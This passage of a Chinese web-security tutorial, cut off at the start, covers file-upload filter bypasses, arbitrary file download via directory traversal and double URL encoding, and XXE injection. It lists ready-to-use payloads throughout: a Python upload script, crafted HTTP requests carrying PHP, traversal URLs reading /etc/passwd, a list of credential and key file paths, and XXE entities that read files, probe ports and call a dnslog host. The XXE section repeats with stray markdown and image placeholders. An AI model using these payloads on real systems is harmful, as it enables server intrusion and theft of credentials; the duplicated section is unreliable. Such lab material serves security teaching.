if(ext=='jpg' || ext=='png' || ext == 'jpeg'){
fm = document.getElementById("fm");
fm.submit();
}else{
alert('上传的文件不合法')
}
}
</script>
</html>
这种前端js校验很容易绕过
使用python代码绕过, 直接上传文件:
import requests
url = "http://192.168.43.128/uploadfiles/uploadfiles.php"
formdata={
"f":("m3.php" , open("C:/Users/Administrator/Desktop/tmp/m3.php","rb"), "text/plain")
}
requests.post(url,files=formdata)
==============
使用burp拦截,也可以绕过前端检查
1)把要上传的m4.php先修改扩展名,改成m4.jpg
2)打开burp,拦截上传的请求
3)把上传的文件名改回m4.php
2.MIME验证
MIME文件类型列表:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types
后端服务程序做文件类型检查
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
if($type=='image/png' || $type=='image/jpeg'){
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}else{
echo "文件类型不合法";
}
?>
这种后端程序做MIME类型检查,也是很容易绕过的,方法如下:
1) 打开burp代理
2)选择一个php文件上传
3)burp拦截到上传请求后,把请求头中的Content-Type: 值设置为image/png 即可
以上允许传图片的检测方式,还可以使用图片马绕过,但是要想利用,需要结合文件包含才可以。
3.大小写绕过
后端通过定义一个文件扩展名的黑名单列表,阻止非法的文件
<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
//定义一个不允许的扩展名的列表(黑名单)
$extlist = ['php','html','jsp','asp','aspx'];
$ext = end(explode(".",$name));
if(in_array($ext,$extlist)){
die("文件类型不合法");
}else{
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}
?>
这个可以通过大小写绕过。上传文件的时候,把文件的扩展名写成m4.PHP
4.点空格绕过
为了防住大小写绕过,可以把扩展名一律转为小写,再比较,再上面的代码中加上一句
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写
针对上面都转成小写,并且检查php结尾的防御,可以在上传文件的扩展名后面再增加一个.
这需要使用burp来拦截,拦截请求后,把文件名后面增加一个.
POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6164102741675
Content-Length: 214
-----------------------------6164102741675
Content-Disposition: form-data; name="f"; filename="m4.php."
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------6164102741675
服务端程序可以进一步优化,把文件名后面的所有.都去掉,再比较扩展名是否允许
<?php
function deldot($filename){
// 正则表达式匹配字符串末尾的一个或多个点号
$pattern = '/\.+$/';
// 使用preg_replace删除匹配的部分
$result = preg_replace($pattern, '', $filename);
return $result;
}
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
echo "$name";
$name = deldot($name);
echo "$name";
//定义一个不允许的扩展名的列表(黑名单)
$extlist = ['php','html','jsp','asp','aspx'];
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写
if(in_array($ext,$extlist)){
die("upload fail");
}else{
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}
?>
针对把文件名末尾的所有的.都去掉的情况可以在文件名的末尾使用的多个.中间增加空格
POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2605197738809
Content-Length: 221
-----------------------------2605197738809
Content-Disposition: form-data; name="f"; filename="m4.php. ....."
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------2605197738809--
5.改后缀名绕过
如果防御程序把文件名后面的点以及空格都删除的话。还可以通过下面的方式绕过,文件名改成m4.php.aa.bb.cc
访问的时候依然正常访问。php程序还是会被执行
http://192.168.43.128/uploadfiles/include.php?f=m4.php.aa.bb.cc
原理:php引擎在解析url的时候,会从右向左依次按照.隔开,去寻找是否有php这种扩展名,如果找到了,就按照php执行
POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2605197738809
Content-Length: 217
-----------------------------2605197738809
Content-Disposition: form-data; name="f"; filename="m4.php.aa.bb.cc"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------2605197738809--
6.特殊后缀名绕过
如果程序中把文件名中的php,asp,jsp等等类似的字符串替换为空字符
$filename = str_replace("php","",$filename);
这种情况可以进行双写绕过
还可以大小写绕过
上传文件的时候,把扩展名写成aa.pphphp
apache配置文件导致的绕过
这个配置增加后,apache会把扩展为 php3,php5文件都作为php来执行,但是程序员在做检查的时候,不知道这个配置,只是检查了php的扩展名
在httpd.conf目录中,找到AddType application/x-httpd-php
在后面添加.php3 .php5
重启apache : /opt/lampp restart
7.配置.htaccess绕过
还有另外一种依靠配置文件绕过的方法
首先在/opt/lampp/etc/httpd.conf中有个配置项AllowOverride 需要设置为All
其次,在php文件所在的目录中有一个名称为.htaccess的配置文件,其中配置了可以被当做php执行的文件的扩展名:
//这个文件名字必须是.htaccess,它通过指明特定文件以php解析方式,这里配置就是xac结尾的文件当做php来执行。实现绕过
<FilesMatch "\.xac$">
SetHandler application/x-httpd-php
</FilesMatch>
8.windows改::$DATA绕过
在windows系统中,可以使用在文件名后面增加::$DATA来绕过黑名单检查
使用burp拦截请求,并把文件名修改,在后面增加::$DATA
如下参数burp拦截的请求
POST /hz02/posts/uploadfiles.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://localhost/hz02/posts/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18547967226319
Content-Length: 216
-----------------------------18547967226319
Content-Disposition: form-data; name="f"; filename="m4.php::$DATA"
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------18547967226319--
以上所有都是基于黑名单的防御和绕过
9.白名单绕过
下面的是基于白名单:
<?php
function deldot($filename){
// 正则表达式匹配字符串末尾的一个或多个点号
$pattern = '/\.+$/';
// 使用preg_replace删除匹配的部分
$result = preg_replace($pattern, '', $filename);
return $result;
}
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
echo "$name";
$name = deldot($name);
echo "$name";
//定义一个允许的扩展名的列表(白名单)
$extlist = ['jpg','jpeg','png'];
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写
if(in_array($ext,$extlist)){
move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}else{
die("upload fail");
}
?>
这种情况可以考虑使用图片马,但是要结合文件包含的漏洞。
⑤文件下载漏洞
一、概念:
在php中,由于对用户输入没有校验,可以通过文件下载访问任意文件。
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file);
payload:
linux:
xx.php?file=/etc/passwd
xxx.php?file=db.php
windows:
xxx.php?file=C:\boot.ini
敏感文件:
windows:
C:\boot.ini//查看系统版本
C:\Windows\win.ini//基本系统配置文件
C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件
C:\Windows\repair\sam//存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini//Mysql配置
C:\ProgramData\MySQL\mysqlxxx\my.ini
C:\ProgramFiles\mysql\data\mysql\user.MYD//Mysqlroot
C:\Windows\php.ini//php配置信息
C:\Windows\my.ini//Mysql配置信息
linux:
/root/.ssh/authorized_keys//ssh登录认证文件
/root/.ssh/id_rsa//公钥文件
/root/.ssh/id_rsa.keystore//密钥存放文件
/root/.ssh/known_hosts//已访问过的主机公钥记录文件
/etc/passwd//用户信息
/etc/shadow//密码存放文件
/etc/my.cnf//mysql配置文件
/etc/httpd/conf/httpd.conf//apache配置文件
/root/.bash_history//记录系统历史命令文件
/root/.mysql_history//记录数据库历史命令文件
/proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程
/proc/mounts//已挂载的文件系统信息
/porc/config.gz//内核配置文件
二、危害
获取服务器上的文件和资料。
三、防御和绕过:
1.加前缀:
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file);//把下载的文件增加绝对路径限制
此时如果想下载/etc/passwd,是无法下载到正确文件的。
http://192.168.128.128/hz02/posts/download.php?file=/etc/passwd
绕过方式: 目录穿越(…/…/…/…/…/etc/passwd)
http://192.168.128.128/hz02/posts/download.php?file=../../../../../../../../../../../etc/passwd
2.防御目录穿越:去掉…/
$file = str_replace("../","",$file);
如果php代码中,手工使用urldecode来解码$file变量,那么可以采用下面的两次url编码绕过
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.urldecode($file);//手工使用urldecode解码文件名称
此时,我们在请求的时候,可以使用两次url编码来做目录穿越,如下:
第一次url编码:把../编码为%2e%2e%2f
http://192.168.128.128/hz02/posts/download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
第二次url编码:把上面的%2e%2e%2f再一次进行url编码
http://192.168.128.128/hz02/posts/download.php?file=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
3.前缀加后缀
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file.'.jpg');//加了前缀路径,还增加了后缀扩展名
前缀加后缀的就很难绕过了
4.文件名保存在数据库
url中传id,具体文件名在数据库中,或在配置文件中取出,这种就没什么办法绕过了。因为用户的输入不能决定下载哪个文件。
5.只加了后缀, 远程文件包含的绕过:
如果没有加前缀,只加了后缀,那么远程文件包含可以通过?来绕过
例如:这段下载的代码
<?php
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file.".jpg");
?>
请求下载远程的文件,这里的远程文件地址后面跟着?a=b,再拼接上php中的.jpg就变成了a=b.jpg这个参数是传给cspreport.txt的,这样就绕过了后缀,直接下载的是cspreport.txt
http://localhost/hz02/posts/download.php?file=http://192.168.161.128/jsonp/cspreport.txt?a=b
6.%00截断字符(低版本使用)
%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
%00是\0的url编码,在c语言中代表字符串的结束。
magic_quotes_gpc = On会自动开始特殊字符的转码,单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;这个选项在PHP5.4中就已经开始废弃了
7.指定路径
配置在php.ini中open_basedir,指定路径,只能访问某个指定目录或子目录中的内容,包括php文件,其他目录都不可以访问
open_basedir = D:\xampp8\htdocs\hz02\posts\
当我们尝试下载文件的时候,
http://localhost/hz02/posts/download.php?file=C:\Users\Administrator\Desktop\tmp\paswd
会报错:
Warning: file_get_contents(): open_basedir restriction in effect. File(C:\Users\Administrator\Desktop\tmp\paswd) is not within the allowed path(s):
四、小总结
绕过:
1、目录穿越: ../../../,绕过前缀目录
2、二次编码绕过: 把../经过两次编码
3、远程文件包含使用?绕过后缀
4、%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。
防御:
1、配置open_basedir
2、包含或下载的文件名称不允许用户输入,直接写死在代码中
3、检查用户输入的参数,过滤../../../ 或经过编码的%2e%2e%2f
4、禁止使用远程包含,关闭allow_url_include 参数
5、添加白名单,不在白名单中的禁止使用
⑥XXE外部实体注入
一、概述
XXE(XML External Entity Injection)xml外部实体注入
二、前提
Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行
注意:这个漏洞必须是在libxml2.9.1这个版本以及更低的版本才能利用。
三、危害
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
四、XML基础
1、语法规则:
XML必须有个根元素
XML标签必须具有结束标记
XML标签区分大小写
XML元素必须正确嵌套
XML属性值必须始终加引号
<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>
五、实体
1、DTD(document type definition)
文档类型声明:DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用
所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成
内部声明:
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE user [ <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>
外部声明:
user.dtd
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE 成 [ <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)> <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)> <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)> <!--定义saying元素为”#PCDATA”类型-->
]]]>
xml内容
user.xml
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">
<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>
2、实体:
在DTD中声明的变量就是实体,通过在标签中使用&实体名;
引用
(1)内部实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY name "alex">]>
<foo>
<value>&name;</value>
</foo>
(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>
test.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
<user>&xxe;</user>
<pass>mypass</pass>
</foo>
区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。
六、外部实体漏洞
当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell
<!ENTITY name SYSTEM 任意文件路径>
php代码:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo $data;
?>
payload:
http://192.168.32.129/secure21/php/xxedemo.php
post正文:
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>
也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php">
]>
<node>&woniu;</node>
也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>
DNS带外探测:
dnslog.cn申请临时域名
payload:
在临时域名前增加test.
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>
访问后发现有dns日志,说明存在这个xxe的漏洞
<?xml version="1.0"?> alex 22 man I can do anything I want
2、实体:
在DTD中声明的变量就是实体,通过在标签中使用`&实体名;`引用
(1)内部实体:
```xml-dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY name "alex">]>
<foo>
<value>&name;</value>
</foo>
(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>
test.dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
<user>&xxe;</user>
<pass>mypass</pass>
</foo>
区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。
六、外部实体漏洞
当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell
<!ENTITY name SYSTEM 任意文件路径>
php代码:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
echo $data;
?>
payload:
http://192.168.32.129/secure21/php/xxedemo.php
post正文:
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>
也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php">
]>
<node>&woniu;</node>
也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>
[外链图片转存中…(img-fl8RORS2-1711174666919)]
DNS带外探测:
dnslog.cn申请临时域名
[外链图片转存中…(img-FpNmfzxC-1711174666920)]
payload:
在临时域名前增加test.
<?xml version="1.0"?>
<!DOCTYPE node[
<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>
[外链图片转存中…(img-YmjzOe9V-1711174666920)]
访问后发现有dns日志,说明存在这个xxe的漏洞